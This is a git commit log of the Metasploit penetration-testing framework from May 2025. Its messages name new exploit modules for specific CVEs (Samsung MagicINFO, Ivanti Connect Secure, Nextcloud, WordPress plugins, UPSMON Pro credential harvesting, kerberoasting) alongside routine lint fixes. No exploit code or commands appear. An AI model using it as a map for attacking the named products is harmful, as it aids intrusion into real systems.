jenkins-metasploit 618db3d53c automatic module_metadata_base.json update 2025-05-19 20:01:23 +00:00
adfoster-r7 ccced2c0ad Merge pull request #20190 from bcoles/rubocop-modules-auxiliary-dos-smb-smb_loris
modules/auxiliary/dos/smb/smb_loris: Resolve RuboCop violations
2025-05-19 20:54:00 +01:00
Spencer McIntyre c03c427633 Set the ticket storage so KrbCacheMode is used 2025-05-19 14:40:12 -04:00
Chocapikk 70d5fb4b65 Move from scanner to gather 2025-05-19 17:52:00 +02:00
Ashley Donaldson ae5b06897c Report ASREP hashes; neaten module to use shared code; add error-handling. 2025-05-19 19:13:01 +10:00
jenkins-metasploit 00cc93f679 automatic module_metadata_base.json update 2025-05-19 07:57:03 +00:00
msutovsky-r7 561eef98c1 Land #20188, adds module for CVE-2024-7399 Samsung MagicINFO 9 Server
Samsung MagicINFO 9 Server RCE (CVE-2024-7399) Module
2025-05-19 09:49:09 +02:00
Martin Sutovsky 070bd54d33 Addressing comments 2025-05-19 07:17:14 +02:00
mariomontecatine 8cde1bab78 Documentation for ipv6_multicast_ping.md 2025-05-18 04:31:03 -04:00
bcoles ffeddaaee3 Rubocop: Disable Layout/LineContinuationLeadingSpace 2025-05-18 17:02:35 +10:00
bcoles d567248b16 modules/exploits/linux/upnp: Resolve RuboCop violations 2025-05-18 16:29:41 +10:00
adfoster-r7 eb850f3e70 Merge pull request #20196 from bcoles/gemfile-rubocop
Bump rubocop from 1.67.0 to 1.75.6
2025-05-18 02:37:52 +01:00
adfoster-r7 7875feb10d Merge pull request #20166 from bcoles/msf-module-platform
Msf::Module::Platform#find_platform: Match known platforms before search
2025-05-18 01:43:58 +01:00
bcoles ebed18ed5f Bump rubocop from 1.67.0 to 1.75.6 2025-05-18 10:22:03 +10:00
bcoles 5f15fd30e8 Rubocop: Enable Layout/SpaceBeforeBrackets 2025-05-18 10:20:52 +10:00
bcoles aba6af805d modules/auxiliary/admin/networking: Resolve RuboCop violations 2025-05-18 00:49:03 +10:00
bcoles 2ac1ae6a57 modules/auxiliary/admin/mssql: Resolve RuboCop violations 2025-05-17 13:21:09 +10:00
jheysel-r7 71565c6cdc Update modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb
Co-authored-by: Simon Janusz <85949464+sjanusz-r7@users.noreply.github.com>
2025-05-16 15:07:08 -07:00
jenkins-metasploit b251fc1b63 automatic module_metadata_base.json update 2025-05-16 21:50:56 +00:00
jheysel-r7 e4a5aecf05 Merge pull request #20186 from bcoles/rubocop-modules-auxiliary-server-capture
modules/auxiliary/server/capture: Resolve RuboCop violations
2025-05-16 14:43:20 -07:00
jenkins-metasploit 34be81df28 automatic module_metadata_base.json update 2025-05-16 14:36:42 +00:00
Spencer McIntyre 57c69049f7 Merge pull request #20175 from smashery/ruby-kerberoasting
Ruby kerberoasting
2025-05-16 10:28:52 -04:00
Chocapikk d7a47530ce Add suggestions + rubocop 2025-05-16 12:30:34 +02:00
Martin Sutovsky fb24c55a3e Fixes deleting file 2025-05-16 11:36:32 +02:00
jenkins-metasploit ad0f09c361 automatic module_metadata_base.json update 2025-05-16 08:35:46 +00:00
Diego Ledda c68b10b640 Merge pull request #20164 from bcoles/rubocop-modules-exploits-linux-games
modules/exploits/linux/games: Resolve RuboCop violations
2025-05-16 10:27:24 +02:00
Martin Sutovsky e0383b416f Add report_vuln 2025-05-16 08:56:53 +02:00
h4x-x0r 647545c5ef Update magicinfo_traversal.rb 2025-05-15 22:13:08 +01:00
h4x-x0r bd181f8a13 Update magicinfo_traversal.rb 2025-05-15 22:11:23 +01:00
h4x-x0r 3bd16e9d0e Update thinmanager_traversal_upload.rb 2025-05-15 21:55:58 +01:00
h4x-x0r f802e99004 Update thinmanager_traversal_upload2.rb 2025-05-15 21:55:27 +01:00
h4x-x0r c29efa36a8 Update thinmanager_traversal_delete.rb 2025-05-15 21:55:07 +01:00
h4x-x0r 93a60de77f Update thinmanager_traversal_download.rb 2025-05-15 21:54:31 +01:00
h4x-x0r 0476cd9ad5 Update thinmanager_traversal_download.rb 2025-05-15 21:49:51 +01:00
h4x-x0r fa483fdee7 Update thinmanager_traversal_delete.rb 2025-05-15 21:45:38 +01:00
h4x-x0r 635d25e491 Update thinmanager_traversal_upload2.rb 2025-05-15 21:44:58 +01:00
h4x-x0r a32a8b7036 Update thinmanager_traversal_upload.rb 2025-05-15 20:49:24 +01:00
h4x-x0r 6d2a1e529e Update magicinfo_traversal.rb 2025-05-15 20:11:59 +01:00
jenkins-metasploit f722f39175 automatic module_metadata_base.json update 2025-05-15 17:51:13 +00:00
Spencer McIntyre 5d4aca6c92 Merge pull request #20145 from bcoles/rubocop-modules-auxiliary-spoof
modules/auxiliary/spoof: Resolve RuboCop violations
2025-05-15 13:43:23 -04:00
Spencer McIntyre a7d092701a Add error handling to the module 2025-05-15 13:39:10 -04:00
jenkins-metasploit 2da6eb841b automatic module_metadata_base.json update 2025-05-15 16:52:39 +00:00
Brendan 76471731f9 Merge pull request #20112 from cdelafuente-r7/mod/ivanti/rce/cve_2025_22457
Ivanti Connect Secure Unauthenticated RCE via Stack-based Buffer Overflow CVE-2025-22457
2025-05-15 11:44:49 -05:00
Spencer McIntyre 15f04ca85f Log an error when kerberoasting fails 2025-05-15 12:29:34 -04:00
Spencer McIntyre 890840f82b Merge pull request #20179 from adfoster-r7/update-metasploit-payloads
Update Metasploit payloads release version
2025-05-15 11:28:44 -04:00
bcoles 6ee7d56b1a modules/auxiliary/admin/http: Resolve RuboCop violations 2025-05-16 01:16:37 +10:00
Martin Sutovsky e93b4d472b Fixing disclosure year 2025-05-15 16:49:18 +02:00
Martin Sutovsky 41b35fb333 Addressing comments 2025-05-15 16:48:48 +02:00
bcoles 42a383e4c7 modules/exploits/linux/games: Resolve RuboCop violations 2025-05-16 00:09:30 +10:00
jenkins-metasploit 3c86d8adcd automatic module_metadata_base.json update 2025-05-15 13:23:22 +00:00
adfoster-r7 b67a0f7851 Merge pull request #20194 from adfoster-r7/ensure-thinkphp-rce-runs-on-metasploit-pro
Ensure thinkphp rce runs on metasploit pro
2025-05-15 14:14:33 +01:00
Ashley Donaldson 2ba2d7976a Changes from code review 2025-05-15 22:19:11 +10:00
adfoster-r7 20cda86177 Ensure thinkphp rce runs on metasploit pro 2025-05-15 12:55:12 +01:00
bcoles acc18dbb84 modules/auxiliary/crawler: Resolve RuboCop violations 2025-05-15 21:31:44 +10:00
jenkins-metasploit 00da2fb32f automatic module_metadata_base.json update 2025-05-15 11:20:07 +00:00
Diego Ledda d12b6fe3ba Merge pull request #20163 from bcoles/rubocop-modules-exploits-linux-antivirus
modules/exploits/linux/antivirus: Resolve RuboCop violations
2025-05-15 13:11:08 +02:00
Diego Ledda 97e20e21df Merge pull request #20155 from bcoles/msf-payloadset-recalculate
Msf::PayloadSet#recalculate: Replace delete_if with replace(slice(...))
2025-05-15 13:10:26 +02:00
jenkins-metasploit 72ae91e4bc automatic module_metadata_base.json update 2025-05-15 10:41:52 +00:00
bcoles da261da015 modules/auxiliary/sniffer: Resolve RuboCop violations 2025-05-15 20:38:04 +10:00
msutovsky-r7 c598d8b4b0 Land #20020, adds module for Nextcloud Workflow Remote Code Execution
Add exploit module for the nextcloud workflow vulnerability CVE-2023-26482
2025-05-15 12:31:51 +02:00
bcoles ce0c621cf1 modules/auxiliary/pdf: Resolve RuboCop violations 2025-05-15 20:26:48 +10:00
Christophe De La Fuente 365caab8fc Update the error message in case of Broken pipe error and update the documentation 2025-05-15 12:10:53 +02:00
bcoles 17f9038372 modules/auxiliary/dos/smb/smb_loris: Resolve RuboCop violations 2025-05-15 19:21:57 +10:00
whotwagner 97ecaa7c30 Refactoring indentations 2025-05-15 09:16:26 +00:00
whotwagner 61dc956bb3 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-15 11:15:05 +02:00
whotwagner 72c9d5b038 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-15 11:14:25 +02:00
whotwagner 9b619cbc58 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-15 11:12:05 +02:00
jenkins-metasploit 59a8798dd5 automatic module_metadata_base.json update 2025-05-15 09:01:16 +00:00
Diego Ledda 6c39f9331f Land #20162, modules/auxiliary/sqli: Resolve RuboCop violations
Land #20162, modules/auxiliary/sqli: Resolve RuboCop violations
2025-05-15 10:52:37 +02:00
Metasploit 308c794c8f Bump version of framework to 6.4.65 2025-05-15 03:33:18 -05:00
jenkins-metasploit f83d155570 automatic module_metadata_base.json update 2025-05-15 08:31:24 +00:00
Diego Ledda f7e7b5ad14 Land #20154, modules/auxiliary/dos: Resolve RuboCop violations
Land #20154, modules/auxiliary/dos: Resolve RuboCop violations
2025-05-15 10:22:51 +02:00
jenkins-metasploit 0093512369 automatic module_metadata_base.json update 2025-05-15 05:30:47 +00:00
msutovsky-r7 e3649b31fe Land #20123, adds module for path traversal and credential harvester in PowerCom UPSMON Pro
POWERCOM UPSMON PRO Path Traversal (CVE-2022-38120) and Credential Harvester (CVE-2022-38121) Module
2025-05-15 07:23:07 +02:00
h4x-x0r 3f4c8a5161 Update upsmon_traversal.rb 2025-05-15 04:28:53 +01:00
adfoster-r7 520b9dfc0a Merge pull request #20111 from cdelafuente-r7/fix/exploit_attempts
Fix issue that prevented to correctly register exploit attempts
2025-05-15 00:20:12 +01:00
bcoles 8ea5d3214f modules/auxiliary/dos: Resolve RuboCop violations 2025-05-15 08:43:24 +10:00
Chocapikk 75a3fa7ad7 Add CVE-2025-27007 in existing exploit(multi/http/wp_suretriggers_auth_bypass) module 2025-05-14 19:29:03 +02:00
Spencer McIntyre 1c94b2c8dc Merge pull request #20181 from bwatters-r7/fix/wordpress_login
Change check for redirect in wordpress_login to be less specific
2025-05-14 12:50:43 -04:00
bcoles 3ae2a8fa8c modules/auxiliary/server/capture: Resolve RuboCop violations 2025-05-15 00:26:16 +10:00
Chocapikk 1888abaa4d Add WP Depicter Plugin Unauth SQL Injection (CVE-2025-2011) 2025-05-14 15:54:40 +02:00
whotwagner 0e0b84d252 Error message if nextcloud-upload fails 2025-05-14 13:53:59 +00:00
jenkins-metasploit ba25dd48b3 automatic module_metadata_base.json update 2025-05-14 13:41:16 +00:00
whotwagner 2259de33c1 Fixed a txpo in nextcloud_workflows_rce.md 2025-05-14 13:40:47 +00:00
msutovsky-r7 fe5f56cac0 Land #20159, adds module for privilege escalation in Wordpress (CVE-2025-2563)
Add Unauthenticated privesc for WP User Registration & Membership plugin (CVE-2025-2563)
2025-05-14 15:33:30 +02:00
jenkins-metasploit 90f04f6fb5 automatic module_metadata_base.json update 2025-05-14 08:58:46 +00:00
Diego Ledda 1f230f3731 Land #20153, modules/auxiliary/dos/http: Resolve RuboCop violations
Land #20153, modules/auxiliary/dos/http: Resolve RuboCop violations
2025-05-14 10:45:03 +02:00
Diego Ledda 621840e9df Land #20152, modules/auxiliary/dos/windows: Resolve RuboCop violations
Land #20152, modules/auxiliary/dos/windows: Resolve RuboCop violations
2025-05-14 10:42:58 +02:00
jenkins-metasploit d294cc6029 automatic module_metadata_base.json update 2025-05-14 06:10:17 +00:00
msutovsky-r7 7d8d0230cb Land #20026, adds module for CVE-2024-57487
New Exploit Module & Documentation for CVE-2024-57487
2025-05-14 08:00:20 +02:00
Brendan 13d18f2c83 Update lib/msf/core/exploit/remote/http/wordpress/login.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2025-05-13 17:32:48 -05:00
jenkins-metasploit 33e3e0851f automatic module_metadata_base.json update 2025-05-13 21:58:13 +00:00
Brendan 1982d81e22 Merge pull request #20098 from smashery/execute-assembly32
Execute assembly32
2025-05-13 16:49:25 -05:00
jenkins-metasploit a041b21cc2 automatic module_metadata_base.json update 2025-05-13 20:11:39 +00:00
Spencer McIntyre 3d67f9ef55 Merge pull request #20161 from bcoles/rubocop-modules-auxiliary-fuzzers
modules/auxiliary/fuzzers: Resolve RuboCop violations
2025-05-13 16:04:00 -04:00
Chocapikk 88ffe892e0 Remove lower bound 2025-05-13 21:48:49 +02:00
Valentin Lobstein 7f98f2fad7 Update modules/exploits/multi/http/wp_user_registration_membership_escalation.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 21:42:10 +02:00
Chocapikk c415675c39 Reduce wordpress_version calls 2025-05-13 21:42:10 +02:00
Chocapikk a2ff0c1f92 Apply suggestion to store created WordPress admin creds 2025-05-13 21:42:09 +02:00
Chocapikk e335841bb0 Add Unauthenticated privesc for WP User Registration & Membership plugin (CVE-2025-2563) 2025-05-13 21:42:09 +02:00
aaryan-11-x 1e523e4e0b MsfTidy Fixes again 2025-05-13 23:54:36 +05:30
jenkins-metasploit 9379a2af4f automatic module_metadata_base.json update 2025-05-13 16:34:11 +00:00
Brendan b41f0a4430 Merge pull request #20178 from bcoles/modules-post-windows-gather-credentials
modules/post/windows/gather/credentials: Update PackRat module descriptions
2025-05-13 11:25:50 -05:00
jenkins-metasploit 432c7e8607 automatic module_metadata_base.json update 2025-05-13 16:01:34 +00:00
bwatters-r7 ce8ceaddbc Change check for redirect to be less specific 2025-05-13 10:59:16 -05:00
Brendan cb6495e5bc Merge pull request #20146 from Chocapikk/wp_suretriggers_auth_bypass
Add WP SureTriggers ≤1.0.78 admin-creation & RCE module (CVE-2025-3102)
2025-05-13 10:53:44 -05:00
Christophe De La Fuente 3d121839c8 Fix from code review #2 2025-05-13 17:17:41 +02:00
adfoster-r7 050e677577 Update Metasploit payloads release version 2025-05-13 14:56:21 +01:00
whotwagner 22b80bbef3 Added modules_metadata_base 2025-05-13 13:52:14 +00:00
whotwagner 09fc435346 Removed db/modules_metadata_base.json from 2025-05-13 13:51:05 +00:00
whotwagner 09aaf5865c Rearranged code and removed wait_for_payload_session 2025-05-13 13:48:56 +00:00
whotwagner ad9651db5d Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 9b0aee41f4 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 83786100b3 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 2ba8e1c255 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 6aa2170fbc Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner c9521a0eab Removed thread from exploit_nextcloud_workflows 2025-05-13 13:48:56 +00:00
whotwagner 4a5d556671 Removed linux_dropper from exploit_nextcloud_workflows 2025-05-13 13:48:56 +00:00
whotwagner d0a3eb4332 Fixed refacturing-bugs 2025-05-13 13:48:56 +00:00
whotwagner 92e30b8391 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 5a75e0bb2d Reformatting res.code for login-failure 2025-05-13 13:48:56 +00:00
whotwagner fde19395ce Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner b1e3b0708e Fixed get_html_document in parse_tokens 2025-05-13 13:48:56 +00:00
whotwagner 2245516a21 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 14daed78b2 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 4a08b93542 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 5f42b3439e Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner e6781e60f0 Changed ranking to Excellent 2025-05-13 13:48:36 +00:00
jenkins-metasploit e819362398 automatic module_metadata_base.json update 2025-05-13 13:45:30 +00:00
bcoles a9447e23f6 modules/auxiliary/dos/windows: Resolve RuboCop violations 2025-05-13 23:28:13 +10:00
jenkins-metasploit efe7aecacf automatic module_metadata_base.json update 2025-05-13 13:11:10 +00:00
bcoles 5abf5480d5 modules/post/windows/gather/credentials: Update PackRat module descriptions 2025-05-13 23:10:04 +10:00
Brendan 5faa0a5b6b Merge pull request #19777 from msutovsky-r7/linqpad_deserialization
Linqpad deserialization persistence
2025-05-13 08:03:30 -05:00
Martin Sutovsky 939d997b8a Adds documentation 2025-05-13 14:57:55 +02:00
Martin Sutovsky bfa3b639fd Clinic Pacient Management System SQLi to RCE module 2025-05-13 13:09:29 +02:00
Christophe De La Fuente 4aea95f93c Fix from code review 2025-05-13 12:54:31 +02:00
jenkins-metasploit 6c41e9b248 automatic module_metadata_base.json update 2025-05-13 10:32:58 +00:00
bcoles b0682e3db0 spec: modules: Enable instantiation tests for Evasion and Post modules 2025-05-13 20:31:16 +10:00
Diego Ledda 619a284408 Land #20156, modules/post: Resolve RuboCop violations and typos
Land #20156, modules/post: Resolve RuboCop violations and typos
2025-05-13 12:24:41 +02:00
bcoles f53fb9e844 modules/auxiliary/spoof: Resolve RuboCop violations 2025-05-13 19:36:21 +10:00
Ashley Donaldson 806d0ec557 Kerberoasting documentation 2025-05-13 18:26:25 +10:00
Ashley Donaldson 6d3fc7b732 Neatening kerberoasting modifications 2025-05-13 18:26:25 +10:00
Ashley Donaldson abba784190 Fix AES kerberoast hashcat format. Change when hashes are displayed in module. 2025-05-13 18:26:25 +10:00
Ashley Donaldson 365db3c52e Support different hash type JTR formats 2025-05-13 18:26:25 +10:00
Ashley Donaldson 1e56168905 Move kerberoasting to Ruby code 2025-05-13 18:26:25 +10:00
msutovsky-r7 509ade7146 Land #20010, adds another Powershell signature for SSH platform
Add Powershell Windows signature for SSH platform identification
2025-05-13 07:08:38 +02:00
msutovsky-r7 3af76cfa00 Renames incorrect option in documentation
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-05-13 06:30:00 +02:00
bcoles 81a405355c modules/post: Resolve RuboCop violations and typos 2025-05-13 09:23:28 +10:00
Metasploit 3d1646d8f2 Bump version of framework to 6.4.64 2025-05-12 12:23:54 -05:00
jenkins-metasploit 3c37c20a8c automatic module_metadata_base.json update 2025-05-12 17:13:26 +00:00
adfoster-r7 cb7ff313ad Merge pull request #20173 from adfoster-r7/update-web-crawlers-to-support-http-logging
Update web crawlers to support HTTP logging
2025-05-12 18:05:38 +01:00
adfoster-r7 0b0132c11a Update web crawlers to support HTTP logging 2025-05-12 17:46:20 +01:00
adfoster-r7 f181cbbeff Merge pull request #20168 from adfoster-r7/update-ruby-prof-version
Update ruby prof version
2025-05-12 17:00:19 +01:00
adfoster-r7 ebae68db00 Merge pull request #20167 from adfoster-r7/update-rex-sslscan
Update rex sslscan
2025-05-12 17:00:12 +01:00
adfoster-r7 558b1e8ebc Update Ruby-prof version 2025-05-12 16:37:01 +01:00
adfoster-r7 bf5f6b4c2e Update rex sslscan 2025-05-12 16:35:31 +01:00
dwelch-r7 e5d8f74478 Merge pull request #20169 from adfoster-r7/update-windows-2019-ci-usage
Update windows 2019 CI usage
2025-05-12 16:18:59 +01:00
adfoster-r7 4ccf11981e Update windows 2019 CI usage 2025-05-12 16:00:52 +01:00
jenkins-metasploit 8cbfdecf2e automatic module_metadata_base.json update 2025-05-12 14:12:58 +00:00
Spencer McIntyre 9363dc4759 Merge pull request #20143 from bcoles/rubocop-modules-auxiliary-analyze
modules/auxiliary/analyze: Resolve RuboCop violations
2025-05-12 10:05:17 -04:00
lafried ce5896d21b Update platform.rb
Removed unnecessary word from pattern
2025-05-12 12:38:45 +01:00
jenkins-metasploit 56ab89b2dc automatic module_metadata_base.json update 2025-05-12 10:37:56 +00:00
msutovsky-r7 cbb4934882 Land #20133, resolves Rubocop violations for modules/auxiliary/cloud
modules/auxiliary/cloud: Resolve RuboCop violations
2025-05-12 12:30:14 +02:00
jenkins-metasploit 57032a30e2 automatic module_metadata_base.json update 2025-05-12 08:04:26 +00:00
msutovsky-r7 8c647cd1ad Land #20118, changes target option for smb_to_ldap module
Fix the smb_to_ldap module's missing target option
2025-05-12 09:56:06 +02:00
Chocapikk 40002f87f4 Apply suggestion to store created WordPress admin creds 2025-05-11 17:53:06 +02:00
Valentin Lobstein 604672433a Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2025-05-11 17:19:12 +02:00
Valentin Lobstein ca6e413bea Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2025-05-11 17:18:51 +02:00
Valentin Lobstein 04915c8c95 Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2025-05-11 17:18:37 +02:00
Valentin Lobstein 5c8013ad92 Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2025-05-11 17:18:29 +02:00
bcoles 8d534e3251 Msf::Module::Platform#find_platform: Match known platforms before search 2025-05-11 00:05:44 +10:00
bcoles 5062f596fd modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00
bcoles 16ae7af550 modules/exploits/linux/antivirus: Resolve RuboCop violations 2025-05-10 18:15:04 +10:00
bcoles c3f5aa41dc modules/auxiliary/sqli: Resolve RuboCop violations 2025-05-10 16:11:25 +10:00
bcoles 75c2104625 modules/auxiliary/fuzzers: Resolve RuboCop violations 2025-05-10 14:09:40 +10:00
h4x-x0r e9c88b55f2 cleanup 2025-05-09 22:39:30 +01:00
h4x-x0r 803581ab81 CVE-2024-7399 2025-05-09 17:27:22 +01:00
h4x-x0r e46079ed61 Update upsmon_traversal.rb 2025-05-09 16:52:23 +01:00
jenkins-metasploit b5129fe198 automatic module_metadata_base.json update 2025-05-09 14:10:40 +00:00
Spencer McIntyre db75455d2b Merge pull request #20128 from bcoles/rubocop-modules-auxiliary-bnat
modules/auxiliary/bnat: Resolve RuboCop violations
2025-05-09 10:02:49 -04:00
jenkins-metasploit 3ff8262865 automatic module_metadata_base.json update 2025-05-09 13:41:49 +00:00
Spencer McIntyre 9ee2ec861f Merge pull request #20120 from bcoles/rubocop-modules-post-windows
modules/post/windows: Resolve RuboCop violations
2025-05-09 09:33:17 -04:00
bcoles d7506c2411 Msf::PayloadSet#recalculate: Replace delete_if with replace(slice(...)) 2025-05-09 22:32:51 +10:00
adfoster-r7 b1101e96f3 Merge pull request #20142 from L-codes/fix_didyoumean_notfound
fix DidYouMean notfound
2025-05-09 09:40:35 +01:00
bcoles 45336dd612 modules/post/windows: Resolve RuboCop violations 2025-05-09 10:51:17 +10:00
Spencer McIntyre b7df5210a9 Merge pull request #20126 from bcoles/lib-msf-core-post-linux-kernel-yama
Msf::Post::Linux::Kernel: Add yama_ptrace_scope method
2025-05-08 13:55:44 -04:00
bcoles 1890f8a175 modules/auxiliary/dos/http: Resolve RuboCop violations 2025-05-09 00:08:33 +10:00
cgranleese-r7 54cdcc6731 Merge pull request #20151 from adfoster-r7/update-installer-versions-docs
Update installer version docs
2025-05-08 12:18:31 +01:00
adfoster-r7 3f3b997fcf Update installer version docs 2025-05-08 12:00:34 +01:00
Metasploit d13ffe57db Bump version of framework to 6.4.63 2025-05-08 05:24:43 -05:00
cgranleese-r7 ba7be5b25a Merge pull request #20148 from adfoster-r7/add-additional-sni-support
Add additional sni support
2025-05-08 11:19:37 +01:00
adfoster-r7 e4d66e8c55 Update version for rex-sslscan bump 2025-05-08 10:56:07 +01:00
adfoster-r7 cb02d81a58 Merge pull request #20150 from adfoster-r7/remove-end-of-life-ubuntu-gh-action
Remove end of life ubuntu gh action
2025-05-08 10:40:36 +01:00
adfoster-r7 96b06acfa0 Remove end of life ubuntu gh action 2025-05-08 10:36:43 +01:00
adfoster-r7 e049b77336 Add additional SNI support to the http crawler 2025-05-08 00:29:42 +01:00
Chocapikk 21a9fa848c Add credits 2025-05-07 23:59:06 +02:00
Chocapikk 879027bd5a Update 2025-05-07 23:50:20 +02:00
Valentin Lobstein 2e9d7db238 Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-07 23:34:58 +02:00
Valentin Lobstein 23809f0d08 Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-07 23:34:51 +02:00
adfoster-r7 1be3fb3c93 Update auxiliary web http to support sni 2025-05-07 21:22:13 +01:00
h4x-x0r 1cc0269edf more versions tested 2025-05-07 18:05:57 +01:00
h4x-x0r b5989070d0 path update 2025-05-07 18:05:04 +01:00
h4x-x0r 9ab2acc50f updated 2025-05-07 18:03:58 +01:00
Chocapikk 4d0c7bb71a Add WP SureTriggers ≤1.0.78 admin-creation & RCE module (CVE-2025-3102) 2025-05-07 17:45:30 +02:00
jenkins-metasploit 1f52a28da1 automatic module_metadata_base.json update 2025-05-07 13:04:34 +00:00
cgranleese-r7 eb88eb5bc1 Merge pull request #20119 from bcoles/rubocop-modules-post-linux
modules/post/linux: Resolve RuboCop violations
2025-05-07 13:56:34 +01:00
bcoles 126682d72e modules/auxiliary/analyze: Resolve RuboCop violations 2025-05-07 21:38:27 +10:00
jenkins-metasploit af657c4b26 automatic module_metadata_base.json update 2025-05-07 09:32:41 +00:00
cgranleese-r7 5127207dc1 Land #20134, modules/auxiliary/parser: Resolve RuboCop violations 2025-05-07 10:24:59 +01:00
jenkins-metasploit 4837cf72d2 automatic module_metadata_base.json update 2025-05-07 09:03:30 +00:00
cgranleese-r7 49c041f291 Land #20137, modules/exploits/unix/dhcp: Resolve RuboCop violations 2025-05-07 09:55:41 +01:00
h4x-x0r 60668f3e26 CVE-2023-2917 2025-05-07 04:12:53 +01:00
h4x-x0r 8b94a560e7 Adjusted path 2025-05-07 03:53:36 +01:00
h4x-x0r 0491d3894e CVE-2023-2915 2025-05-07 03:45:59 +01:00
h4x-x0r c034c6490c CVE-2023-27856 2025-05-06 20:04:54 +01:00
h4x-x0r 2fdcb46918 CVE-2023-27855 2025-05-06 19:28:58 +01:00
aaryan-11-x 30c175675b RuboCop Fixes again 2025-05-06 23:53:24 +05:30
aaryan-11-x 67942d5159 Made changes as requested by moderator 2025-05-06 23:35:07 +05:30
jenkins-metasploit 863487683e automatic module_metadata_base.json update 2025-05-06 17:10:06 +00:00
Spencer McIntyre b52340440d Merge pull request #20135 from bcoles/rubocop-modules-auxiliary-voip
modules/auxiliary/voip: Resolve RuboCop violations
2025-05-06 13:02:24 -04:00
msutovsky-r7 b799a13dd6 Land #20009, corrects list formatting and adds missing links
Meterpreter Configuration Documentation Page: Correct list formatting and add missing links
2025-05-06 18:03:57 +02:00
jenkins-metasploit f245202779 automatic module_metadata_base.json update 2025-05-06 14:51:00 +00:00
bcoles 5c4108d7c5 modules/auxiliary/voip: Resolve RuboCop violations 2025-05-07 00:47:05 +10:00
Spencer McIntyre ba9ecec381 Merge pull request #19952 from jheysel-r7/get_naa_creds_via_relay
Add SMB to HTTP relay support for get_naa_creds
2025-05-06 10:43:10 -04:00
jenkins-metasploit 8f049fb33b automatic module_metadata_base.json update 2025-05-06 14:30:36 +00:00
Spencer McIntyre 4ed90bb73a Merge pull request #20136 from bcoles/rubocop-modules-exploits-unix-fileformat
modules/exploits/unix/fileformat: Resolve RuboCop violations
2025-05-06 10:22:56 -04:00
bcoles 37c52bb4c7 modules/exploits/unix/dhcp: Resolve RuboCop violations 2025-05-07 00:22:34 +10:00
jenkins-metasploit 74fa3d018c automatic module_metadata_base.json update 2025-05-06 13:43:47 +00:00
msutovsky-r7 c431ae830c Land #20130, resolves Rubocop violations in auxiliary/client
modules/auxiliary/client: Resolve RuboCop violations
2025-05-06 15:36:06 +02:00
bcoles e5138fcd01 modules/exploits/unix/fileformat: Resolve RuboCop violations 2025-05-06 23:30:37 +10:00
bcoles 6db17f03be modules/auxiliary/parser: Resolve RuboCop violations 2025-05-06 22:56:58 +10:00
bcoles fd8343a706 modules/auxiliary/cloud: Resolve RuboCop violations 2025-05-06 22:49:03 +10:00
Martin Sutovsky d16c639278 Adds cleanup option in documentation 2025-05-06 09:07:21 +02:00
jenkins-metasploit 61099582d6 automatic module_metadata_base.json update 2025-05-06 06:44:10 +00:00
Martin Sutovsky 24a86cd74a Refactoring based on comments 2025-05-06 08:43:57 +02:00
msutovsky-r7 2635b8fab4 Land #20124, adds auxiliary module for path traversal in Sante PACS Server
Sante PACS Server Path Traversal (CVE-2025-2264) Module
2025-05-06 08:31:36 +02:00
msutovsky-r7 0cbe2cb6b6 Land #20129, resolves Rubocop violations in modules/exploits/unix/x11
modules/exploits/unix/x11: Resolve RuboCop violations
2025-05-06 08:28:51 +02:00
